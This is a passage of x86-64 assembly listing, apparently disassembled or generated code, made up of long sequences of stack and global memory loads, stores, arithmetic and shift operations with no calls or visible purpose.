shl eax, cl
mov rcx, qword [rsp + 0x7b18]
mov byte [rcx], al
movsx eax, word [rsp + 0xa84]
mov rcx, qword [rsp + 0x67d8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xdc0], ax
movzx eax, word [rsp + 0xb18]
mov word [rsp + 0xe48], ax
mov rax, qword [rsp + 0x68a0]
mov rcx, qword [rsp + 0x7c60]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7978], rax
lea rax, [rsp + 0x2ae0]
mov qword [rsp + 0x80c0], rax
mov rax, qword [rsp + 0x5d48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52c8]
mov qword [rsp + 0x80c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x80c8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6640]
mov rcx, qword [rsp + 0x4f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6bf0]
mov dword [rcx], eax
lea rax, [rsp + 0x112]
mov qword [rsp + 0x80d0], rax
lea rax, [rsp + 0xb2c]
mov qword [0x14017a720], rax
mov rax, qword [rsp + 0x7c30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6cd8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x82], al
movzx eax, word [rsp + 0xa8c]
mov word [rsp + 0xe4c], ax
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x5030]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5318]
mov byte [rcx], al
mov rax, qword [rsp + 0x68c8]
movsx eax, word [rax]
movsx ecx, word [0x140178eb8]
sub eax, ecx
mov word [rsp + 0xc40], ax
mov rax, qword [rsp + 0x6a58]
mov eax, dword [rax]
mov dword [rsp + 0x3020], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6e58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5c48], rax
mov rax, qword [rsp + 0x5ef0]
mov eax, dword [rax]
mov dword [rsp + 0x3024], eax
mov rax, qword [rsp + 0x7060]
mov rcx, qword [rsp + 0x5560]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6a88]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xf6]
movsx ecx, byte [rsp + 0x180]
add eax, ecx
mov byte [0x14017a1a3], al
mov rax, qword [rsp + 0x54b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9a]
add eax, ecx
mov rcx, qword [rsp + 0x6aa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6420]
movzx eax, word [rax]
mov word [rsp + 0xe50], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [rsp + 0x1d1], al
lea rax, [rsp + 0xfe]
mov qword [rsp + 0x80d8], rax
mov rax, qword [rsp + 0x64f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2fb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cec], eax
mov rax, qword [rsp + 0x6708]
mov rax, qword [rax]
mov qword [rsp + 0x80e0], rax
mov rax, qword [rsp + 0x6d90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4ca8]
mov qword [rsp + 0x80e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x80e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ad0], eax
mov rax, qword [rsp + 0x80a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7fc8]
sar rax, cl
mov qword [rsp + 0x7d18], rax
mov rax, qword [rsp + 0x5ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa68]
xor eax, ecx
mov rcx, qword [0x14017a560]
mov word [rcx], ax
lea rax, [0x140178f0b]
mov qword [rsp + 0x80f0], rax
mov rax, qword [rsp + 0x7120]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb68], ax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x80f8], rax
mov rax, qword [0x14017a168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x73d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0x53e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2df4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x63a0]
mov dword [rcx], eax
lea rax, [rsp + 0x4b30]
mov qword [rsp + 0x8100], rax
mov rax, qword [rsp + 0x6238]
mov rcx, qword [rsp + 0x78c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2da4], eax
lea rax, [rsp + 0x7480]
mov qword [rsp + 0x8108], rax
lea rax, [rsp + 0xe10]
mov qword [0x14017a728], rax
mov rax, qword [rsp + 0x6f18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x57c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0x7db0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7620]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa5c], ax
movzx eax, word [rsp + 0xa00]
mov word [rsp + 0xe54], ax
movzx eax, byte [rsp + 0xb1]
movzx ecx, byte [0x140178eb3]
add eax, ecx
mov rcx, qword [rsp + 0x7918]
mov byte [rcx], al
lea rax, [rsp + 0x2eb4]
mov qword [rsp + 0x8110], rax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x7ff0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4f28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7630]
mov rax, qword [rax]
mov rcx, qword [0x140178e78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7290]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f80]
mov dword [rsp + 0x3028], eax
lea rax, [rsp + 0x8a0]
mov qword [0x14017a730], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
movzx ecx, word [0x14017a288]
sub eax, ecx
mov word [rsp + 0xcac], ax
mov rax, qword [rsp + 0x5f58]
movzx eax, byte [rax]
mov byte [rsp + 0x1e3], al
mov rax, qword [rsp + 0x6b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x167]
sub eax, ecx
mov byte [rsp + 0x14e], al
movzx eax, word [rsp + 0x938]
mov word [rsp + 0xe58], ax
mov eax, dword [rsp + 0x2bdc]
mov ecx, dword [0x140178e8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bcc], eax
mov rax, qword [rsp + 0x5080]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7658]
sar rax, cl
mov rcx, qword [rsp + 0x7578]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6588]
mov rax, qword [rax]
mov qword [rsp + 0x8118], rax
mov rax, qword [rsp + 0x5490]
mov rcx, qword [rsp + 0x5748]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5cd0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xcfc]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140178e9c], ax
mov rax, qword [rsp + 0x80d8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e4], al
movsx eax, byte [rsp + 0x1d8]
movsx ecx, byte [rsp + 0x174]
xor eax, ecx
mov rcx, qword [rsp + 0x7e88]
mov byte [rcx], al
movsx eax, word [rsp + 0x9c4]
movsx ecx, word [rsp + 0xa10]
and eax, ecx
mov rcx, qword [rsp + 0x6718]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e3]
mov byte [rsp + 0x1e5], al
mov rax, qword [rsp + 0x6eb0]
mov ecx, dword [rsp + 0x2dcc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b48], eax
mov rax, qword [rsp + 0x67f0]
mov qword [rsp + 0x8120], rax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x2ff8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7310]
mov rcx, qword [rsp + 0x7888]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7ff8], rax
mov rax, qword [rsp + 0x7f78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ea8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a508]
mov word [rcx], ax
lea rax, [0x14017a142]
mov qword [rsp + 0x8128], rax
mov rax, qword [rsp + 0x60c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa4c], ax
movzx eax, byte [rsp + 0x190]
mov byte [rsp + 0x1e6], al
mov rax, qword [rsp + 0x71e0]
movsx eax, byte [rax]
mov rcx, qword [0x14017a240]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5e], al
mov rax, qword [rsp + 0x5b50]
mov rax, qword [rax]
mov qword [rsp + 0x8130], rax
mov eax, dword [rsp + 0x2c70]
mov ecx, dword [rsp + 0x2f28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bd0], eax
mov rax, qword [rsp + 0x5d28]
mov rax, qword [rax]
mov rcx, qword [str.kD3]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ea0]
mov qword [rcx], rax
lea rax, [rsp + 0x2d60]
mov qword [rsp + 0x8138], rax
mov rax, qword [rsp + 0x6b30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6dc8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140178f0f], al
mov rax, qword [0x14017a0e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe04]
xor eax, ecx
mov word [rsp + 0xb80], ax
mov rax, qword [rsp + 0x7fa0]
movzx eax, byte [rax]
mov byte [rsp + 0x1e7], al
movzx eax, word [rsp + 0xe44]
movzx ecx, word [rsp + 0xb50]
sar eax, cl
mov word [rsp + 0xaa0], ax
movsx eax, word [0x140178f34]
movsx ecx, word [rsp + 0x9d0]
shl eax, cl
mov rcx, qword [rsp + 0x4e18]
mov word [rcx], ax
mov rax, qword [rsp + 0x54a8]
mov rax, qword [rax]
mov qword [rsp + 0x8140], rax
mov rax, qword [rsp + 0x7410]
mov rcx, qword [rsp + 0x6db0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6f20]
mov qword [rcx], rax
lea rax, [rsp + 0x2f8c]
mov qword [rsp + 0x8148], rax
mov eax, dword [rsp + 0x2a9c]
mov ecx, dword [rsp + 0x2f6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7ef8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
mov rcx, qword [0x14017a520]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x158], al
lea rax, [rsp + 0x16b]
mov qword [0x14017a738], rax
movzx eax, word [rsp + 0x8f4]
mov word [rsp + 0xe5c], ax
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc70]
sub eax, ecx
mov rcx, qword [rsp + 0x51a8]
mov word [rcx], ax
movzx eax, word [rsp + 0xb9c]
mov word [rsp + 0xe60], ax
mov eax, dword [rsp + 0x2ea8]
mov ecx, dword [rsp + 0x2b38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2df4]
mov ecx, dword [rsp + 0x2abc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f50]
mov dword [rcx], eax
lea rax, [0x140178e78]
mov qword [rsp + 0x8150], rax
mov rax, qword [rsp + 0x72d8]
mov rcx, qword [rsp + 0x5c60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7fc8], rax
movzx eax, word [rsp + 0xad0]
mov word [rsp + 0xe64], ax
movzx eax, byte [rsp + 0x1e6]
mov rcx, qword [rsp + 0x6878]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a1b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6b40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb04]
add eax, ecx
mov rcx, qword [rsp + 0x7a68]
mov word [rcx], ax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
mov word [rsp + 0xe68], ax
mov rax, qword [rsp + 0x5428]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6258]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xea], al
mov eax, dword [rsp + 0x2f18]
mov ecx, dword [rsp + 0x2e70]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7138]
mov dword [rcx], eax
mov rax, qword [rsp + 0x78c0]
mov eax, dword [rax]
mov dword [rsp + 0x302c], eax
mov rax, qword [rsp + 0x5848]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5518]
mov qword [rsp + 0x8158], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8158]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7190]
mov qword [rcx], rax
lea rax, [rsp + 0x58a0]
mov qword [rsp + 0x8160], rax
mov rax, qword [rsp + 0x7988]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7210]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xaf0], ax
movzx eax, byte [rsp + 0xac]
mov rcx, qword [rsp + 0x7300]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a6a0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x6a]
mov rcx, qword [rsp + 0x70f8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x64], al
movzx eax, word [rsp + 0xe2c]
mov word [rsp + 0xe6c], ax
movsx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x6860]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b], al
lea rax, [rsp + 0x2f64]
mov qword [rsp + 0x8168], rax
mov rax, qword [rsp + 0x5960]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6f38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7bb8], rax
mov rax, qword [rsp + 0x7630]
mov rcx, qword [rsp + 0x56b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7f68]
mov qword [rcx], rax
lea rax, [rsp + 0x2a9c]
mov qword [rsp + 0x8170], rax
mov rax, qword [rsp + 0x6eb8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6130]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7050]
mov byte [rcx], al
lea rax, [rsp + 0xa88]
mov qword [0x14017a740], rax
movzx eax, byte [rsp + 0xfa]
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0x5e00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc78]
sub eax, ecx
mov word [rsp + 0xaa4], ax
movzx eax, byte [0x140178f07]
mov byte [rsp + 0x1e9], al
mov rax, qword [rsp + 0x6518]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc4]
and eax, ecx
mov byte [rsp + 0x1e8], al
mov eax, dword [rsp + 0x2c80]
mov ecx, dword [rsp + 0x2cf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ff8], eax
mov rax, qword [rsp + 0x5580]
mov eax, dword [rax]
mov dword [rsp + 0x3030], eax
mov rax, qword [rsp + 0x5bc0]
mov rcx, qword [rsp + 0x5c60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x59d8], rax
mov rax, qword [rsp + 0x6d70]
mov qword [rsp + 0x8178], rax
movsx eax, word [rsp + 0xbf0]
mov rcx, qword [0x14017a2a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178fac], ax
mov rax, qword [rsp + 0x5918]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bb0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xda4], ax
mov rax, qword [rsp + 0x54e0]
movsx eax, byte [rax]
mov rcx, qword [0x14017a588]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x10d], al
mov rax, qword [rsp + 0x7110]
movzx eax, byte [rax]
mov byte [rsp + 0x1ea], al
movsx eax, byte [rsp + 0x10c]
movsx ecx, byte [rsp + 0x78]
or eax, ecx
mov byte [rsp + 0x11c], al
lea rax, [rsp + 0x2f14]
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x7c38]
movzx ecx, al
mov rax, qword [0x140178e78]
shl rax, cl
mov qword [rsp + 0x4f00], rax
mov eax, dword [rsp + 0x2ae4]
mov ecx, dword [rsp + 0x2fd8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e24], eax
mov rax, qword [rsp + 0x5848]
mov rax, qword [rax]
mov qword [rsp + 0x8188], rax
mov rax, qword [0x14017a700]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7dd8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a600]
mov word [rcx], ax
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x7df0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ef0]
movzx eax, word [rax]
mov word [rsp + 0xe70], ax
movzx eax, byte [rsp + 0xfe]
movzx ecx, byte [rsp + 0x130]
add eax, ecx
mov byte [rsp + 0x196], al
movzx eax, word [rsp + 0xb88]
mov rcx, qword [rsp + 0x6ad8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69d8]
mov word [rcx], ax
lea rax, [0x140178e8c]
mov qword [rsp + 0x8190], rax
mov rax, qword [rsp + 0x6e10]
mov ecx, dword [rsp + 0x2d2c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ff4], eax
lea rax, [rsp + 0x7468]
mov qword [rsp + 0x8198], rax
mov rax, qword [rsp + 0x7c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5610]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7bb8], rax
lea rax, [rsp + 0x1e1]
mov qword [0x14017a748], rax
movzx eax, byte [rsp + 0x1b1]
mov byte [rsp + 0x1eb], al
movsx eax, word [rsp + 0x940]
movsx ecx, word [rsp + 0xa58]
and eax, ecx
mov word [rsp + 0xd24], ax
movzx eax, word [rsp + 0x8a8]
movzx ecx, word [rsp + 0xe34]
sub eax, ecx
mov word [rsp + 0xb94], ax
lea rax, [rsp + 0xd60]
mov qword [rsp + 0x81a0], rax
mov rax, qword [rsp + 0x7f00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6648]
mov qword [rsp + 0x81a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x81a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6fa8], rax
mov rax, qword [rsp + 0x7cf8]
mov rax, qword [rax]
mov qword [rsp + 0x81b0], rax
mov rax, qword [rsp + 0x5b58]
mov rcx, qword [rsp + 0x7868]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2ba0], eax
mov eax, dword [0x140178e6c]
mov ecx, dword [rsp + 0x2fd4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
sar eax, cl
mov byte [0x140178f0b], al
movzx eax, byte [rsp + 0xf1]
mov byte [rsp + 0x1ec], al
movsx eax, word [rsp + 0xcf4]
movsx ecx, word [0x140178ea0]
add eax, ecx
mov rcx, qword [rsp + 0x5fc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6268]
movzx eax, word [rax]
mov word [rsp + 0xe74], ax
mov rax, qword [rsp + 0x6a40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11d]
and eax, ecx
mov byte [rsp + 0x1ec], al
mov rax, qword [str.kD3]
mov rcx, qword [rsp + 0x6478]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
lea rax, [rsp + 0x6ba0]
mov qword [rsp + 0x81b8], rax
mov rax, qword [rsp + 0x6bf0]
mov ecx, dword [rsp + 0x2de8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5c98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2cec]
mov dword [rsp + 0x3034], eax
lea rax, [rsp + 0xa28]
mov qword [0x14017a750], rax
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x73e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x5800]
movsx eax, word [rax]
movsx ecx, word [0x140178f48]
sub eax, ecx
mov word [rsp + 0xc48], ax
lea rax, [rsp + 0xa2c]
mov qword [rsp + 0x81c0], rax
movzx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0x5598]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd3], al
mov rax, qword [rsp + 0x74e8]
mov eax, dword [rax]
mov dword [rsp + 0x3038], eax
mov rax, qword [rsp + 0x6c30]
mov rcx, qword [rsp + 0x5338]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d68], rax
mov rax, qword [rsp + 0x7028]
mov rax, qword [rax]
mov qword [rsp + 0x81c8], rax
mov rax, qword [rsp + 0x8170]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e74], eax
movsx eax, byte [0x140178e76]
mov rcx, qword [rsp + 0x5120]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [str.KP2_v], al
movsx eax, word [rsp + 0xb08]
mov rcx, qword [rsp + 0x6718]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa98], ax
lea rax, [rsp + 0xc54]
mov qword [rsp + 0x81d0], rax
mov rax, qword [rsp + 0x6398]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x144]
sar eax, cl
mov rcx, qword [rsp + 0x6560]
mov byte [rcx], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x81d8], rax
mov rax, qword [rsp + 0x57b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7fd8]
mov qword [rsp + 0x81e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x81e0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7410]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3010]
mov ecx, dword [rsp + 0x2a18]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov dword [rsp + 0x303c], eax
mov rax, qword [rsp + 0x7c50]
mov rcx, qword [rsp + 0x73a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x50c8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1b2]
movsx ecx, byte [rsp + 0x94]
sub eax, ecx
mov byte [0x140178ed6], al
movzx eax, byte [rsp + 0x110]
mov byte [rsp + 0x1ed], al
movsx eax, word [rsp + 0xa38]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x64a8]
mov word [rcx], ax
movzx eax, word [rsp + 0xbe0]
movzx ecx, word [rsp + 0xc54]
add eax, ecx
mov rcx, qword [rsp + 0x65d0]
mov word [rcx], ax
lea rax, [rsp + 0x72]
mov qword [rsp + 0x81e8], rax
mov rax, qword [rsp + 0x6e50]
mov ecx, dword [rsp + 0x2fec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d78], eax
mov rax, qword [rsp + 0x5480]
mov rax, qword [rax]
mov qword [rsp + 0x81f0], rax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x7968]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2abc], eax
mov rax, qword [rsp + 0x79b8]
mov qword [rsp + 0x81f8], rax
mov rax, qword [0x14017a138]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x140]
sub eax, ecx
mov rcx, qword [rsp + 0x7288]
mov byte [rcx], al
mov rax, qword [rsp + 0x6008]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov word [0x140178fb0], ax
mov rax, qword [0x14017a2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov rcx, qword [rsp + 0x6668]
mov byte [rcx], al
movzx eax, word [rsp + 0x934]
mov word [rsp + 0xe78], ax
mov rax, qword [rsp + 0x7538]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
add eax, ecx
mov rcx, qword [rsp + 0x76a0]
mov byte [rcx], al
lea rax, [rsp + 0x2c84]
mov qword [rsp + 0x8200], rax
mov eax, dword [rsp + 0x2ed4]
mov ecx, dword [rsp + 0x2de4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7018]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ed0]
mov rcx, qword [rsp + 0x7268]
mov qword [rsp + 0x8208], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8208]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5258]
mov qword [rcx], rax
mov rax, qword [rsp + 0x51d0]
mov rax, qword [rax]
mov qword [rsp + 0x8210], rax
movzx eax, word [rsp + 0xe60]
movzx ecx, word [rsp + 0x92c]
xor eax, ecx
mov word [rsp + 0xd60], ax
movzx eax, byte [rsp + 0x76]
mov byte [0x14017a1a6], al
movzx eax, word [rsp + 0xa84]
mov word [rsp + 0xe7c], ax
movzx eax, word [0x140178e68]
mov rcx, qword [rsp + 0x78c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7728]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x64e0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6130]
mov byte [rcx], al
mov eax, dword [0x140178e6c]
mov dword [rsp + 0x3040], eax
mov rax, qword [rsp + 0x5758]
mov rcx, qword [rsp + 0x7df8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7108]
mov dword [rcx], eax
lea rax, [rsp + 0x6c30]
mov qword [rsp + 0x8218], rax
mov rax, qword [0x140178e60]
mov rcx, qword [rsp + 0x8018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x67d0], rax
mov rax, qword [rsp + 0x70f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc80], ax
mov rax, qword [rsp + 0x7668]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
and eax, ecx
mov rcx, qword [0x14017a718]
mov byte [rcx], al
movzx eax, byte [rsp + 0x184]
mov byte [rsp + 0x1ee], al
mov rax, qword [rsp + 0x7ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcec]
add eax, ecx
mov word [rsp + 0xd58], ax
movzx eax, byte [rsp + 0x1a5]
mov byte [rsp + 0x1ef], al
mov eax, dword [0x140178e8c]
mov ecx, dword [rsp + 0x2e5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a68], eax
mov rax, qword [rsp + 0x7e20]
mov qword [rsp + 0x8220], rax
mov rax, qword [rsp + 0x73f8]
mov ecx, dword [rsp + 0x2ed0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a44], eax
mov rax, qword [rsp + 0x7558]
mov rcx, qword [rsp + 0x6dd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
mov rax, qword [rsp + 0x62f0]
movzx eax, byte [rax]
mov byte [rsp + 0x1f0], al
movzx eax, byte [rsp + 0x143]
mov rcx, qword [rsp + 0x7e38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178f12], al
mov rax, qword [rsp + 0x6220]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x88c]
shl eax, cl
mov rcx, qword [rsp + 0x5fc8]
mov word [rcx], ax
movzx eax, word [rsp + 0x9a4]
mov word [rsp + 0xe80], ax
mov rax, qword [rsp + 0x4d70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb04]
xor eax, ecx
mov rcx, qword [rsp + 0x7cd0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x6208]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x100], al
mov eax, dword [rsp + 0x2ae8]
mov dword [rsp + 0x3044], eax
mov rax, qword [rsp + 0x6a00]
mov rcx, qword [rsp + 0x6f70]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7700]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2fa0]
